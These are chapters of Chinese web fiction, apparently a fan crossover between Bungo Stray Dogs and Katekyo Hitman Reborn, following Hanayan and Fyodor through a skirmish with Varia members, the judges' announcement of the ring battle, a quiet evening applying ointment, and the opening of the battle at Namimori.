“我听得到。” 一道古井无波的嗓音响起,半空中出现细微的波纹,一名穿着黑色斗篷的小婴儿凭空出现。 花言听见这道声音来不及思考为什麽路斯利亚会知道费奥多尔是雾守,也来不及细想那句“一直没找到”是什麽意思。 他迅速异能复制成“深渊的红发安妮”,想要先躲过这次交锋再说。 虽然他觉得抢夺指环很麻烦,但这并不意味着他会现在就将指环交出去,任由副本以如此之快的速度迎来结束。 异能尚未准确选定,大片靛色的东西骤然席卷而来。 身体各处传来一阵阵近乎窒息的束缚感,花言异能把控失衡,一不小心将“瓦利亚”的“雾之守护者”玛蒙拖进了“安妮的房间”。 两人的身影转眼消失在这片街道,这始料未及的发展让所有人都没能第一时间反应过来。 中岛敦用力揉了揉眼睛,来回确认刚刚那个小婴儿斗篷里忽然冒出一大堆靛色触手袭击花言、两人又一块消失的画面,究竟是不是他的错觉。 费奥多尔脑海中回放着那短短一秒内发生的事情眉头微蹙,他啃咬着指尖,感受到了幻术师的棘手。 路斯利亚眨了眨眼睛,视线看向了剩余的费奥多尔,发出疑问,“其实你才是拿着大空指环的那个人?” 要不然为什麽那个白头发的青年能跟玛蒙一起消失? 这显然是因为那个白头发的才是雾守,他用幻术覆盖了他们所有人,拉着玛蒙在他们都看不见的地方比拼幻术了。 费奥多尔:…… “真是奇怪,这可跟情报中的不相符呢,情报里的明明是白头发戴墨镜的才是拿着大空指环的人……” 路斯利亚眉头紧皱,他看了看费奥多尔的黑发,不一会儿又恍然大悟。 “你们互换发色了对吧?真是聪明的做法~” 难怪玛蒙会一上来直冲那名白发青年而去,对方的对手明明应该是雾守,这绝对是已经识破这两人的诡计了。 该说不愧是幻术师吗?在这方面的相当细心呢。 “既然玛蒙已经开始干活了,那我也开始吧~” 路斯利亚摆出战斗的姿势,抬起脚步瞬间逼近两人,挥出的拳头还未完全击中目标,熟悉的身影再次凭空出现。 原本勒在白发青年身上的靛色触手变成了一圈圈雪白的卷筒纸,赤红的光芒附着在花言表面,脆弱的卷筒纸瞬间化为零碎的碎屑,惯性所带来的冲击让玛蒙没能稳住半空中的身形,被迫往后倒去,刚好进入路斯利亚的挥拳路线。 这一幕实在是太猝不及防,哪怕路斯利亚收拳及时,拳风也不可避免地刮到了那抹黑色的小小身影。 “唔呃……” 刚出异能空间,还在思考那究竟是不是幻术的玛蒙没反应过来被那道拳风裹挟着摔在了地上,小小的身影在地上弹了两圈,又重新浮起,质问对方。 “路斯利亚,你在干什麽?” “抱歉啦~玛蒙,我也没想到你会突然出现。” 路斯利亚解释道:“因为你们幻术师不是一向会比很久吗?这次为什麽这麽快就回来了?” “他不一定是幻术师,我只是看他气息有些奇怪,又似乎想要带着同伴逃跑,为了避免失去这一次好机会才率先阻止了他而已。” 玛蒙声音毫无波澜,“你刚刚打我的那一下,要记得把我的精神损失费和医药费打进我卡里。” 路斯利亚抱怨道:“玛蒙,你真是的,人家都说不是故意的了——” 花言刚刚被玛蒙的幻术糊脸,拖进异能空间他才反应过来对方的触手其实是卫生纸,转而更换异能,用重力崩开了束缚。 费奥多尔伸手摘下搭在对方头上的卫生纸,视线触及对方脖颈上颜色稍深的勒痕,“花言,您还好吗?” “还好。”花言努力展现自己可靠的一面。 实际上并不算太好,玛蒙勒的他那一下像是想要把他勒晕似的,害得他现在身上还在隐隐作痛。 花言抬起眼眸看向还在商量赔偿的两人,虽然那两人看起来没有在意他们这边,但花言知道如果他们有所动作,那两人就会卷土重来。 刚刚是被偷袭了才失手,现在他势必要将失去的都夺回来! 一层赤红的浅光蔓延在花言身体表面,重力重新覆盖,朝那道浮在半空中的黑色身影冲了过去。 路斯利亚察觉到花言的靠近,他拦在花言的必经之路上挥拳想要阻止对方,但被后者以一个差几毫米的侧身躲了过去,如此刁钻的距离和角度让路斯利亚愣了一秒才回头看向玛蒙。 “小心……” 花言抬腿踢向半空中的身形,意料之中的踢了个空,在半空中的腿划出一道弧线收回。 他看着出现在另一边的小婴儿,思考要不要换个更大范围的无差别攻击异能。 费奥多尔看见这一幕眼眸里闪过一丝疑惑,在他眼里,对方的攻击落点从一开始就空无一人。 “花言。” 费奥多尔喊了一声白发青年的名字,无需多言,后者在与他对上视线的那一刻已然明白了他的意思。 花言再次踢向自己视野中敌人的位置,近乎是在费奥多尔嗓音响起的同时,按照对方的提醒,借助重力在瞬息旋身更改了方向。 “后面。” 重力在击中目标的同时附加,成功将对方踢飞了出去,报了被偷袭之仇。 命中实体的感觉反馈上脑海,花言有些难以置信,并不是难以置信费奥多尔会知道玛蒙的位置,而是在难以置信自己反应居然能那麽快。 在刚刚费奥多尔喊他名字时,他就已经明白了为什麽路斯利亚会知道费奥多尔是雾守,也明白了那句“一直没找到”是什麽意思。 按照之前副本来看,他们被副本同化是会进行平衡的,比如说在没有异能的世界——身上的异能会消失,在有“才能”存在的世界——会被附加上“才能”,现在被新副本同化异能消失后当然也会有新的能力取代。 这个副本的主线是指环争夺战,因此他们的能力应该是按照其他两方中与自己映射的守护者来平衡的。 他很清楚费奥多尔不会幻术,但对方身为雾守,当然也会有不输于其他两方雾守的能力——比如说能够看破幻术,或是屏蔽幻术之类的。 再加上路斯利亚能一眼看出费奥多尔雾守的身份,对方这份屏蔽幻术的能力极有可能还带有一定范围。 而同样的,玛蒙的“粘写”能够确定人或物体的具体方向,通过这份能力,路斯利亚他们八成已经知道其他人的位置了,正因为只有他和费奥多尔迟迟没有找到,才会如此肯定地确定他身边的费奥多尔是雾守。 但是,他没想到副本的平衡里居然还包括提升他的战斗能力,难道这就是正统热血番的氛围吗? 好难得的体验,仿佛回到了他还不是打工皇帝——还是中二热血少年的时候。 好!天时地利人和!是时候大战一场了! 花言双手握紧,身上红光骤然浓郁。 路斯利亚看着花言脚下因刚刚用重力强行扭转身体而龟裂开一圈的地面,再看向被对方正面命中在半空中划出一道优美的抛物线的黑色身影,他惊恐地捧着脸,发出充斥着担忧的夸张叫声。 “玛蒙?!” “唔……呃……” 玛蒙在地上滚了几圈才稳住身形,路斯利亚跑到玛蒙身边蹲下身刚想伸手去扶,后者又自己重新浮了起来。 “我没事。”玛蒙声音仍旧平稳,细听才能听出那缕不甚明显的喘息。 路斯利亚见状松了口气,“讨厌,吓我一跳,玛蒙。” 他回头望向白发青年身上附着的红光,以及脚下龟裂的地面,又想起对方躲开他攻击时近乎是巧合的情况,喃喃自语。 “不过,还真是惊人呢,他真的不是幻术师吗?” “不知道,不过既然他拿着大空指环,那就让BOSS来亲自对付好了。” 玛蒙回头看向刚刚出言提醒那名白发青年的黑发青年。 路斯利亚听出对方的言下之意,他的目光落在站在柱子旁边的白发少年身上,“也是呢,我们只要拿到雾之指环和晴之指环就好了。” 在场其他三人都意识到了这两人的想法,手感火热的花言率先出击,他用力踏过地面,凭借着惯性以超乎常人的速度冲向两人,试图先解决能够击中实体的路斯利亚,没解决也不要紧,他可以从对方身上借力攻击玛蒙。 一次打两个,只要能让这两人分不出心思去对付其他人就是他赢了。 但令花言万万没想到是—— 他还没踢到路斯利亚,一道刺耳又尖锐的哨声不知道从哪响起,近乎刺穿在场所有人耳膜。 “请住手!” 两道清冷又相同到近乎是双重奏的声音紧随其后。 花言注意力被打乱,路斯利亚抓住了这个间隙下腰躲过了花言的攻击,并与后者重新拉开距离。 在场五人看向声音来源的方向,两道只有服饰上有一点区分的身影映入眼帘,她们披着粉色头发,带着奇怪的眼罩,脖子上挂着像是裁判一样的口哨。 “久等了,这次的指环争夺战由我们担任裁判,我们是直属于第九代的切尔贝洛机关,在这次的指环争夺战中,可以把我们的决定当成第九代的决定。” 粉发女人手中举起一张印着死气之炎的敕令。* “由于这一次指环争夺战情况特殊,请各位明天晚上八点于东京并盛中学集合,这场争夺战规则详情将会在那个时候公布,不来者会被视为失去资格,并没收指环,在此之前三方间发生任何斗争都会被视为违规,同样没收指环。” 花言瞳孔地震。 出现了,会偏心的恐怖裁判! 第108章 花言听着对方说出的熟悉又陌生的话语有些沉默。 他想起原本指环争夺战一对一形式的比拼,也不知道现在指环分成了三份,有了三方候选人,切尔贝洛机关的这两裁判会怎麽制定比赛方式。 该不会还按照原来的方式吧?变成三人一起打,拿到完整戒指的获胜? 还是她们会把他们也当作给沢田纲吉几人的试炼,安排个车轮战? 无论是哪种方式听起来都很恐怖。 总觉得这场指环争夺战会变得很麻烦。 不过既然拿着敕令的裁判这样说,那现在这场战斗当然无法再继续进行下去。 “听起来事情会变得很有趣呢~” 路斯利亚在离开前不忘朝中岛敦抛出一个飞吻,“我在东京并盛等你哦~” 看得后者打了个恶寒,直到那两人离开才从心有余悸地走到花言面前鞠躬感谢。 “谢谢你,花言先生。” 事已至此,中岛敦知道自己又被前辈捉弄了,他欲哭无泪地狠狠再次鞠躬道歉。 “对不起,给你带来麻烦了!” “是这样的,中岛敦。” 花言一本正经地说道:“我燃烧的力量是用生命力换的,所以我每一次出手都等同于在缩减我的寿命,刚刚那一下让我年龄至少缩减了五年。” 中岛敦愣在原地,旋即瞳孔地震,“什……什麽?!” 居然还有这种事?! 虽然这听起来有点像是骗人的谎话,但刚刚发生的情况也同样很让人难以理解,更何况太宰先生对他说过——花言先生是一个强大温柔又无私的人,也跟他说了在学级裁判中对方会选择拉所有人同归于尽背后的难言之隐。 因此对方绝对不会骗他的,也没必要在这里骗他。 对方说的极有可能是事实! 如此强大的能力如果是用寿命换的,也不是不能理解。 中岛敦脸上的表情更愧疚了,有些不知道该说什麽才好,“我、我……” 花言脸上挂起一抹像是看后辈一样无私的笑容,宽慰对方,“不用太过自责,这并不是你的错。” 他说着又叹了口气,用一种悠远的目光看向远方,似无心般呢喃,“如果我以后有需要你帮忙的地方……” 这份有难言之隐的模样再加上心底的愧疚,让中岛敦忽略了对方身侧“魔人”的可怕,也完全忘记了这两人为什麽会在一起的问题。 嘴比思维更快做出承诺,“我一定会帮的!” 达成目的的花言脸上的笑容真心实意了许多,他趁机摸了一把对方柔软的白发——虽然他也有白毛,但谁会嫌白毛多呢? 他一开始是想直接绑架中岛敦给太宰治一个教训的,但他又想到现在就绑架对方有点太早了,也有点麻烦。不如现在趁对方好骗,先骗个承诺出来,方便他后面随时约对方出来进行绑架。 “谢谢你。” “不不不,是我该谢谢你。” 被这句感谢安慰又鼓励到的中岛敦连忙摇头,他试探着挥了挥手,“那……我先回去了?花言先生,有什麽事情需要我帮忙的,可以随时喊我我。” 花言温和地挥手,看中岛敦的视线带着怜爱的意味,“嗯,再见。” 直到中岛敦消失在视野里,花言唇边的弧度都没有消散。 他心情极好地拉起身侧费奥多尔的手,一边继续去完成“委托”,一边跟对方感叹,“他说谢谢呢,真单纯。” 旁观了全程的费奥多尔当然能看出花言说的话全都是谎话,他也能大致猜到对方需要中岛敦做什麽,赞同地点头,“确实是令人意外的性格。” 注意到对方掏出白纸看上面记录的地址,费奥多尔没想到对方这个时候还不忘继续完成“委托”,忽然觉得对方其实不用那麽言出必行也可以。 他目光看向一旁的药店,为了让对方能够放开手脚以最高效率结束“委托”,他思索着开口。 “花言,我在这里等您。” 意外之喜! 花言正在犹豫要不要趁手感火热胖揍小混混,现在这个问题解决了。 他果断地点头,连“为什麽”都没问。 “好,我尽量快点回来。” 没有了形象包袱,花言飞速赶到地址上面记录的位置,排查这处公园会出没的小混混团夥,原本他还在想这些小混混团夥会不会只有晚上才出来,但没想到他死去的幸运又复活了,让他白天也能遇见。 为了以防被“雇主”骗,或者是认错人伤及无辜,他来回比对了外表,又走上前使用了钓鱼执法的小手段,确保万无一失才开始动手。 跟“瓦利亚”那两人比起来,这些小混混简直太弱了,不到十分钟花言就让他们改过自新痛哭流涕,保证会把勒索的钱都还回去并且不再干坏事。 完成“委托”的花言一身轻松地回到了费奥多尔身边,那句“天色不早了,我们去吃饭吧”的话还没说出口,视线先一步看见了对方手中提着的塑料袋。 “这是……什麽?” 朴素简约的外观不太像是甜点。 费奥多尔打开了塑料袋方便对方观察,“药膏。” 花言从那支药的外观看出了功效,虽然当时他不小心拖玛蒙进了异能空间,短暂离开了对方身边,但他反应已经很快了,路斯利亚应该没能攻击到对方,对方身上也没有脏的地方,或者是受伤的痕迹…… 所以…… 花言想起对方一天到晚坐在计算机面前的忙碌模样,沉吟半晌,“你腱鞘炎犯了吗?” 没想到对方也会有这种小毛病,考虑到对方身体似乎确实不太好,也是一副易碎的病弱模样,会因为长时间的工作而导致患上腱鞘炎也很正常。 费奥多尔:…… 费奥多尔有些无奈地叹了口气,“是给您的。” 花言:…… 花言沉默地盯着里面袋子里躺着的药膏,不知怎麽脑海里开始浮现对方在选择这个世界前,问他会不会给他造成危险的那一幕。 他那时相当自信地回答不会,然后现在就负伤了…… 不对,这应该也不算负伤,连皮都没破,顶多是一时不查被偷袭,所以也应该不算被打脸。 花言说服了自己,“不用,我都没受伤。” 费奥多尔无言地握住对方手腕,将衣袖往上挽起,露出手腕深处的勒痕。 花言觉得费奥多尔虽然什麽都没说,但在抬眼看向他时,又好像什麽都说了。 “……我知道了,晚上睡觉前会涂的。” 毕竟这是对方特意给自己买的药,再拒绝就有点像是辜负对方心意了。 花言抬头看了眼天际,“晚上吃寿喜锅怎麽样?” 寿喜锅在现在这种没有完全入冬又隐约有了入冬氛围的时候吃最好。 费奥多尔对于吃这方面没什麽要求,他同意了花言的提议。 窗外夜幕沉沉,周围用餐的客人人来人往,寿喜锅内咕噜噜冒着气泡,水雾氤氲。 吃饱的花言心满意足地擦拭着嘴角与费奥多尔一同走向回家的方向。 两人回到据点,一个习惯性地进入书房处理工作,另一个轻车熟路地拿出睡衣走进浴室。 花言洗掉身上在寿喜锅店里沾到的气味,擦干身上的水珠,在穿上睡衣前,顺带借助镜子涂了一下费奥多尔给他买的药,通常这种药膏都有几分刺鼻,不过对方买的似乎不太一样,气味比较温和,连带着抹在皮肤上也只剩下清清凉凉的感觉。 当时玛蒙似乎只想用这个幻术将他勒晕,所以勒痕大部分只散布在上半身,唯一的问题只有背上不太好上药,花言几次尝试险些把自己扭抽筋。 其实如果都不上药还好,现在一部分上药了另一部分上不到,让花言产生了一种皮肤到时候会出现色差的恐怖猜想。 这种情况似乎需要求助一下其他人。 花言陷入了沉思,不知道费奥多尔有没有空,如果对方没空的话,只能找一下擅长这方面的“与谢野晶子”了。 他穿上睡衣,打开浴室门准备去书房门口看一下对方忙不忙,但没想到对方居然不在书房,而是在客厅,走过拐角刚好与对方对上视线。 花言缓缓眨了眨眼睛,“你有空吗?” “嗯。”费奥多尔目光落在对方手中的那支药膏上,明白了对方想让他做的事,放下了手中的书籍,语气温和,“您过来吧。” 既然对方都这样说了。 “麻烦你了。” 花言心安理得地将手中的药交给了对方,他坐在对方身侧,背对对方解开了睡衣的纽扣。 简约的纯色睡衣顺着白发青年的肩头滑落,露出因常年未见光而近乎显得苍白的皮肤,披散着的雪白长发被对方自觉顺到身前,原本光洁白皙的背脊此刻散布着大片刺眼的深色勒痕。 费奥多尔垂下眼眸,指尖沾上白色的药膏触碰上那片不和谐的色彩。 微凉的指尖触及温热的皮肤,引得后者身体本能微颤。 属于另一个人的体温与气息在看不见的地方蔓延,指腹裹挟着药膏划过的局域不断向神经末梢传导着丝丝缕缕的凉意与有什麽异物附着在皮肤上的不适。 花言不知怎麽有点后悔了,他想到如果只是怕出现色差,那自己其实完全可以把之前抹了药的地方也擦掉。 “那个……”花言压下心底略有些怪异的感觉,试图及时更改错误,“要不然还是不抹了吧?” 费奥多尔动作微顿,“是我弄疼您了吗?” “没有……”花言有些不知道怎麽跟对方解释,最终只能小声抱怨,“你手有点冰。” 费奥多尔听见对方似曾相识的抱怨,觉得这一次大概不能都怪他,“但是……花言,以现在的季节温度,药对您而言应该也是冰的。” 好像也有道理。 花言安静了下去。 费奥多尔没等到对方的回答,重新将注意力放在了手上,指尖在对方背脊上抹开白色的药膏,药膏伴随着指腹的滑动很快化为透明,手下的青年不自觉地又往前挪了一点,像是想要躲避他的触碰。 他不得不伸手按在对方肩头,阻止对方的动作,“花言,您再挪下去就要掉下沙发了。” 花言含糊不清地应了一声,他绞尽脑汁想要想到一个更好的理由,结果却又搜刮出了一个抽象话题,比如说什麽“再晚两秒这点痕迹将要消失了,你得快点啊”之类的。 苦思冥想,只想出这句话的花言有点悲从中来,决定干脆直白出击算了,“我觉得这点痕迹可能没必要上药,说不准一觉醒来就能消失了。” 费奥多尔从指下感受到的轻颤与对方细微躲避反应里,明白了对方会接二连三想要结束这个过程的原因。 对方身体似乎比他想象中的要敏感。 “如果明天没能消失呢?” “那明天晚上再……唔……” 花言后半句话被对方指尖顺着他背脊线往下涂抹开药膏的动作打断,他轻吸了一口冷气,才续上没说完的话。 “……看情况上药好了。” “可是明天晚上不是还要去东京并盛吗?” 费奥多尔验证了猜想,他语气中不可避免地掺杂上了一缕愉悦。 提起这个,花言倒是想起了之前一直颇为在意的问题,“指环争夺战之前都是一对一的形式,现在多出了一方,你说现在……他们不会开个守擂台式的车轮战吧?” 费奥多尔觉得不会有这种可能,不过如果之前是一对一的形式,那现在情况不同,确实可能发生改变。 他沉吟着开口,“您其实不该对中岛敦说可以把指环直接交出去的。” 花言微愣,“你也想用这个锻炼他?” 指环争夺战是什麽抛光机吗?都想借这个机会磨一下。 “不是。” 费奥多尔嗓音轻缓,说明了缘由,“您还记得“瓦利亚”知道您拿着大空指环的事吗?” “记得。”花言现在注意力有点难以集中,导致思维也很难运转,只顺着对方的话点头。 “如果我没猜错,这份情报应该是港口mafia卖给彭格列的,然后传递到了“瓦利亚”手中。港口mafia里有您的守护者,是中原中也和芥川龙之介,他们映射的是‘岚’与‘雷’,森鸥外会因此知道您拿着大空指环并不奇怪。” 费奥多尔顿了顿,继续说道。 “其他人在拿到指环的时候应该都察觉到了世界的异样,也会下意识认为指环关乎真相,因此他们会迫不及待地想要探寻真相,也会自发守住指环,帮您分担另外两方的注意,这样您的压力会小很多。” 似乎是意识到对方有些安静得过分,以为对方是感到了懊恼,他安慰着,“不过……也没关系,哪怕中岛敦将您说的话告诉了其他人,他们也只会认为这是您不想牵扯到中岛敦。” 花言听出了对方想要为他分解压力的想法,也隐约明白了对方在这方面持有的态度。 在听见对方安慰时,他愈发沉默。 半晌,他略有些艰难地告诉对方,“其实……太宰治之前在中华街找我的时候,我也跟他说过这句话……” 费奥多尔:…… 花言察觉到费奥多尔的沉默,连带着对方指尖也停留在他腰后似僵住般没有动作,由于看不见对方的表情,他只能主动试探,“给你造成困扰了吗?” “不……没有。”费奥多尔反应过来重新在指尖挤上药膏,涂抹上最后一片、也是最靠近下方的局域,他轻轻叹了口气,“我只是担心会给您造成危险。” 花言:…… 怎麽又提他的丢人事。 花言不得不强调,“我早就知道那是幻术了,只是不小心被偷袭了,没反应过来而已!” “嗯,我相信您。” 费奥多尔温和地安抚了对方,他指尖擦过对方腰际,上面沾着的药与对方自己涂抹的那一部分相连。 敏感处再次被猝不及防地触碰,花言没能压住唇边溢出的那一声气音,在感知到对方已经结束似的抬起手时,他迅速穿回了睡衣,头也不回地准备蹿回卧室。 在起身的前一秒又想起还没感谢对方,于是添上一句,“谢谢。” 费奥多尔视线落在对方白色发丝间冒出的那一点通红耳尖,忽然喊住了对方,“花言。” 被喊了名字的青年下意识回头,费奥多尔不出意外地捕捉到了那双色泽靡丽的眼眸在与他对视的那一瞬又很快移开的反应。 他唇边笑意加深,柔声开口,“晚安。” 花言在点头回应的同时,重新抬起脚步快步走向卧室。 “晚安。” 第109章 东京面积比横滨要大许多,其繁华程度也不可比拟。 上次花言跟弗朗西斯来这里时间比较紧,有许多感兴趣的小吃都没空品尝,现在趁这个机会,花言拉着费奥多尔将那些东西都尝了个遍。 直到夜幕浮现星河,临近规定时间,两人的身影才姗姗来迟出现在学校门口。 夜晚的学校没有白日的生机与活跃,只留一副死气沉沉的寂静模样,道路两边栽种的树木融在黑暗中,借助微弱的星光勉强识别出轮廓。 在一片黑暗无声中,只有操场的位置透出隐隐约约的光源。 花言手里提着几个纸袋,里面装满了他想要留到晚上再吃的甜食,他墨镜下的眼眸扫过这一所被夜幕包裹的学校,拉起费奥多尔朝唯一散发着光源的操场走去。 从校门口走到操场还需要一点时间,在这点时间里他不忘从中掏出一盒水信玄饼边走边吃。 费奥多尔正在观察这所学院的地形,注意到身侧白发青年的动作,有些诧异于对方现在居然还能吃得下。 这让他视线不由得下移落在对方仍旧平坦的腹部,也不知道对方是怎麽做到的看起来跟什麽都没吃一样的。 费奥多尔回忆了一下花言今天的食物摄入量,顾及到一会儿可能会发生的各种情况,还是提醒道。 “花言,如果吃的太饱,一会儿剧烈运动的时候会不舒服。” 花言应了一声,“我会努力不吐掉的。” 毕竟吐掉有点太浪费了,这盒水信玄饼好贵呢,要两千块。 费奥多尔:…… ……他不是指这个。 在花言吃掉最后一个水信玄饼的那一刻,操场也随之映入眼帘,他已然做好面对任何情况的准备。 下一秒,他发现自己还是准备少了。 只见被探照灯照亮的操场中已经汇聚了三方身影,一方是以XANXUS为首的“瓦利亚”,另一方是以沢田纲吉为首的众人,最后剩余的一方只站着四道熟悉的身影,由于背对着的姿势,花言仅能从背影来勉强判断那四人应该是太宰治、中岛敦,以及中原中也和芥川龙之介。 老实说,花言有些意外,意外于他们的出现。 当时切尔贝洛机关的两人传达集合信息的时候,在场的人只有“瓦利亚”那两人以及他、费奥多尔和中岛敦。 “瓦利亚”那两人一定会把信息传递回去。 又或者是“瓦利亚”其实兵分两路,一路来了并盛找沢田纲吉他们,另一路在横滨找他们,而切尔贝洛机关的两人说不准早已在并盛将信息传达给了沢田纲吉一方与“瓦利亚”,又在横滨蹲守到自己出现才通知了自己。 因此其他两方会到齐并不奇怪,可自己没有告诉自己这边的其他人要集合的信息,太宰治他们是怎麽知道要来这里集合的? 切尔贝洛机关的两人绝对不会将这个集合信息传递给他的其他守护者,她们只会认为向自己的守护者传递信息是他的责任。 那是中岛敦说的吗?然后太宰治通知了中原中也他们? 他本来以为太宰治他们对指环争夺战不感兴趣呢。 还是如昨晚费奥多尔所说的那样,他们会来是想弄清楚世界变化的真相?又或者是太宰治意识到了把中岛敦放到他面前的风险,所以亲自来了? 似乎是听见了脚步声,操场中的众人闻声望来,太宰治四人也不例外,在看见后者的模样时,花言脑海里缓缓冒出了一个问号。 太宰治选择性忽略了花言身边的费奥多尔,仅对花言热情挥手,“花言,这边~” 花言有些不太想过去,他看着四人眼前如出一辙的墨镜,难得有点想摘下自己墨镜、假装不认识那四人的冲动。 但对方已经喊了他的名字,周围的视线又实在是太过具有存在感,他只能硬着头皮问:“你们在干什麽呢……?” 为什麽都在大晚上戴着墨镜? 本来他因为七彩眼睛不得不在大晚上戴墨镜就够怪异了,现在好了,他们都戴着墨镜,其他两方该不会以为戴墨镜是他们这一方的某种怪癖吧? “花言,你有点太明知故问了哦。”太宰治指尖拉下墨镜,幽幽盯着对方,发出指责,“我们当然是来参加指环争夺战的,说起来你居然都不告诉我们还有这回事,如果不是敦,我们说不准都要因为没到场而被算作淘汰呢。” 花言假装没有听见对方后半句指责,而且他问的也不是这个。 “……我是在问你们为什麽都戴着墨镜。” “噢……这个啊。”太宰治指尖推了推鼻梁上的墨镜,煞有介事地说明,“这当然是为了以防出现那种在眼睛都睁不开的大灯泡下打擂台,而对手有墨镜,我们没有,只能被动挨打的情况。” 站着太宰治身边的其他三人纷纷点头,表示这一次对方没有骗人。 花言:…… 花言已经听见沢田纲吉那边传来的悉悉索索议论声了。 “什麽?居然还会出现那种情况吗?!” 这道充满了活力与斗志的声音显然是沢田纲吉的“晴之守护者”笹川了平。 “也不是没可能呢,毕竟其他两边不是都有人戴着墨镜吗?” 这道声音透着爽朗,显然是沢田纲吉的“雨之守护者”山本武。 “十代目,我们也准备一下墨镜吧?” 这道满是担忧的声音是沢田纲吉的“岚之守护者”狱寺隼人。 “唉?啊……但是现在不是还没……” 沢田纲吉的话还没说完,被另一道稚嫩的声音取代。 身为沢田纲吉家庭教师的里包恩展现了可靠一面。 “嗯……这一次是从未出现过的场面呢,会有那种情况发生也不是不可能……来,我把我的墨镜借给你们吧。” 花言眼睁睁地看着沢田纲吉几人在里包恩的慷慨资助下都戴上了墨镜。 不是……事情怎麽会变成这样…… 场面变得像是在一本正经地搞笑了一样啊! 花言把脸深深地埋进了手中,无力地说道:“那只是我在跟太宰强调这两裁判一点也不公平时举的例子,你们为什麽要在大晚上戴墨镜啊,不觉得很怪吗?” “花言,你这句话把自己也吐槽进去了哦。”太宰治好心提醒。 花言:…… 好丢人,好想回去。 如果太宰治是想用这种手段逼迫他失去参赛资格,以最快的速度结束指环争夺战,让世界恢复正常,那对方成功了。 花言脚步一转,打算营造出一种从容不迫又高深莫测的气息离开这个地方,用这种不屑于参与斗争的姿态掩盖自己是被尴尬跑的事实。 “哇呜,好多人,大家都已经到齐了吗?该不会我是最后一个来的吧——难道我迟到了?让我看看,哇,居然就差一秒钟唉!嗯嗯,现在正好八点……” 一道熟悉的嗓音伴随着白色的身影的出现在这片空间响起,喋喋不休的话语直接打破了原本紧张凝固的氛围,将整个操场都变得吵闹了起来。 果戈里不偏不倚地出现在花言身后,刚好挡住了后者的路,也让后者没反应过来直接撞在对方身上。 宛如踩到了会叫的橡皮鸭,果戈里高兴地环住花言,“花言你好热情哦~是太久没见也想我了吗?那麽——提问!猜猜我这段时间去哪了?提示,天空赌场……诶呀!一不小心把答案当作提示说出来了!” 果戈里惊慌失措地捂了一下嘴巴,旋即又兴高采烈地重新开口。 “没想到你会邀请我当你的‘云之守护者’呢,真意外~!不过,说起来为什麽除了陀思君你们都戴着墨镜?” 说着果戈里渐渐陷入思索,没等花言开口让对方放开自己,果戈里像是已经明白了答案,露出一副恍然大悟的模样。 “我知道了!是类似于队服一样的东西?!没想到花言你会将这个作为我们队伍的标志呢——听起来好有意思,所以有准备我的吗?还是其实要自带?可恶,我好像没有买墨镜……明天应该也可以吧?毕竟陀思君也没有——所以为什麽陀思君会没有呢?难道是被你们孤立了吗?真看不出来呢——!我以为你很喜欢陀思君的,没想到你喜欢的原来是太宰他们?” 花言的表情从嫌对方吵的聒噪到后面的惊恐,连要扒开对方勒住自己脖子的手臂都忘了,“果戈里!你怎麽凭空污人清白?!” 谁用墨镜当队伍标志了?!谁孤立费奥多尔了?!谁喜欢太宰他们了?! 这是在诽谤!有人诽谤他啊! 花言有一种像是走在路上被洒水车洒了一身水,洒水车却放着生日快乐歌开远了,独留他在原地,还被路过的行人提醒“同学,这里不让洗澡”一样的无力。 费奥多尔的视线落在果戈里环住花言脖颈的手臂上,又上移看向后者脸上仿佛失去色彩了一样的绝望表情。 言简意赅地提醒,“果戈里,请您松开手。” 费奥多尔的语气十分平静,像只是在单纯提醒。 但对于果戈里来说,对方会因此特意提醒他松手本身就是一件异常的举动,更别提对方甚至还在知道他会因收到指环和信而对现在这个世界产生怀疑的情况下,通知他要在八点前到东京并盛的这座学校参加什麽指环争夺战。 他的目光在费奥多尔与花言之间徘徊,后者身上的气息与费奥多尔如出一辙。 果戈里松开手,没有再继续说些什麽,仅笑吟吟地看着费奥多尔为花言整理被他弄乱的衣领。 至此,这处操场终于安静了下来。 “真是惊人……” 路斯利亚喃喃自语。 站在对方身边同为“瓦利亚”一员的“岚之守护者”贝尔赞同。 “第一次看见这麽吵闹的云守,我还以为云守都是不合群的,就像那边那家夥的一样。” 他说着微微偏头,一头遮住眼睛的金发伴随着他的动作晃动,示意别人看向另一边远离所有人倚靠在柱子边的黑发少年。 后者似乎是觉得聒噪与无趣,慵懒地打了个哈欠,随后起身像是想要离开。 好不容易把自家师弟云守劝来的迪诺见状当即上前试图挽留,并不由得开始暗中祈祷切尔贝洛机关的人赶紧出现。 也许是他的祈祷起作用了,一道沉冷的女声响起。 “既然已经都到齐了,那麽是时候宣布本次指环争夺战的规则了。” 两道粉发身影出现在操场外围树下的阴影中。 “经过严肃讨论,本次指环争夺战的方式不限,但是——本场指环争夺战范围仅限于并盛町,也不得卷入无关人士,本场指环争夺战限时一周,一周后手中指环最多的一方将会成为继承人。以上,违反任意一条规则者将视为违规,并没收指环。” 花言:…… 好简单粗暴的规则,像是大型擂台混战。 不,也许对于他们来说是大型擂台混战,对于另外两方来说,是表现信任与默契的团队合作。 正好一个优秀团队需要的东西他们都没有。 甚至这里还有个蠢蠢欲动准备给自家人一刀的“吵闹流云”。 “那麽……” 那两道粉发身影缓缓后退,后半句话在即将融进黑暗的前一秒落下。 “象征着彭格列继承人之位的指环争夺战,现在开始。” 近乎是在最后一个音落地的同时,两道颜色偏红的金色光芒裹挟着淩厉的气势朝花言与沢田纲吉瞬间袭来。 花言势必不可能再犯同样的错误,他手中浮现出一块浅金色的小方块,方块在抬手时扩大,利用不受任何物理定律影响的亚空间挡住了对方的火焰。 另一边传来里包恩催促沢田纲吉的声音。 “你被强化了,快上!” 以此为开端,整个场面瞬间变得混乱,刀光闪烁间混杂着炸弹爆炸时的火光,锐器破空声响与炸弹轰鸣声里,时不时响起几声乱七八糟的零碎话语。 “oi——!你们之中谁拿着‘雨之指环’?!” “破坏校园,咬杀!” “嘻嘻嘻,居然躲开了吗?” “极限——!” “哇呜!好热闹的场面!” “太宰先生——!” “……” 费奥多尔面色平静地站在原地,侧头看了一眼身边似打空气般你来我往的深蓝发少女与裹着黑色斗篷的小婴儿,又看向一旁手里浮着方块不断回击的花言,最后在观察战局时无意间与准备开溜的太宰治对视。 而后,微微一笑,在太宰治冒出的不祥预感里开口。 “太宰君,您身为雨守要去哪儿?” 听见这句话原本正在跟同为雨守山本武战斗的斯库瓦罗当即挥剑斩出一道剑气袭向太宰治,后者在侧身躲过的同时,试图回击。 “你还说我呢,你身为雾守不是也在这里看戏吗?” 但是这句话下去却无人在意,玛蒙早在之前就确认费奥多尔似乎不会幻术也免疫幻术,相比之下还是先解决眼前同为幻术师的少女比较重要。而被玛蒙纠缠的库洛姆也分不出心去对付其他人。 